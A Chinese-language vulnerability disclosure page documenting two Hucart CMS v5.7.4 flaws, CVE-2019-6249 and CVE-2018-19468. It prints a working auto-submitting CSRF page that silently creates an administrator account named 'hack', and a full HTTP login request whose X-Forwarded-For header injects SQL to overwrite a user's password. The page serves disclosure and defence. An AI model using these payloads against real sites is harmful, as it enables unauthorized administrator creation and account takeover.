CVE中文申请站

CVE-2019-6249:Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号

一、漏洞摘要

漏洞名称: Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号
上报日期: 2019-01-13
漏洞发现者: AllenChen(520allen@gmail.com)
产品首页: http://www.hucart.com/
软件链接: http://www.hucart.com/
版本: v5.7.4
CVE编号: CVE-2019-6249


二、漏洞概述

Hucart cms v5.7.4版本存在一个CSRF漏洞,当管理员登陆后访问下面CSRF测试页面可增加一个名为hack的管理员账号。

三、利用代码

exp代码如下:
增加一个名为hack密码为hack123的管理员账号。

<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;

fields += "<input type='hidden' name='adm_user' value='hack' />";
fields += "<input type='hidden' name='adm_email' value='admin@hack.com' />";  
fields += "<input type='hidden' name='adm_mobile' value='13888888888' />";  
fields += "<input type='hidden' name='adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='re_adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='adm_enabled' value='1' />";  
fields += "<input type='hidden' name='act_type' value='add' />";  
fields += "<input type='hidden' name='adm_id' value='' />";  

var url = "http://localhost/hucart_cn/adminsys/index.php?load=admins&act=edit_info&act_type=add";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/109/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6249
exploit-db:https://www.exploit-db.com/exploits/46149

CVE-2018-19468:Hucart cms v5.7.4 SQL注入漏洞

一、漏洞摘要

漏洞名称: Hucart cms v5.7.4 SQL注入漏洞
上报日期: 2018-11-20
漏洞发现者: zzzzzzzz
产品首页: http://www.hucart.com/
软件链接: http://www.hucart.com/
版本: v5.7.4
CVE编号: CVE-2018-19468


二、漏洞概述

Hucart cms v5.7.4未对HTTP头部数据进行安全过滤,产生SQL注入漏洞。
文件system/class/helper_class.php第4-38行代码如下:
1.png
2.png
方法get_ip未对HTTP_X_FORWARDED_FOR等头内部的数据进行校验,并将其中的值作为IP地址直接返回,代码多处功能均调用此方法获取IP地址插入数据库,故产生多处SQL注入漏洞,其中一处如下:
文件application/user/login.php使用act_login方法处理普通用户登陆请求,如登陆成功,则对数据库进行更新,其具体实现位于81-101行,如下图:
3.png
代码于第83行调用get_ip方法获取IP地址$user_ip并于99行拼接入SQL语句中执行,故攻击者可在HTTP_X_FORWARDED_FOR等头内部插入攻击向量,发动SQL注入攻击。

三、利用代码

exp代码如下:
在HTTP_X_FORWARDED_FOR中插入SQL注入攻击向量即可,例如对于普通用户登陆界面处的注入漏洞,其请求如下:
攻击者即可通过注入漏洞修改任意用户密码,也可发动其他类型的SQL注入攻击。

POST /user/index.php?load=login&act=act_login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/user/index.php?load=login&act=act
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: csrftoken=o2JPu6uSjJAMj0bgh2AB90bgd4igPjzCtfvrhP6jTFKpy87BxZfZIb31OqfJutMz; PHPSESSID=btl6d5bko1cd6voo5nshln498g; ck_num=a600bd172fcabd688500dac58ebda3a0
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: attack', use_pwd=md5('attack') Where use_name='test1' #

use_name=test&use_pwd=123456&use_captcha=asdasdd&submit=


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/83/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19468
exploit-db:发布中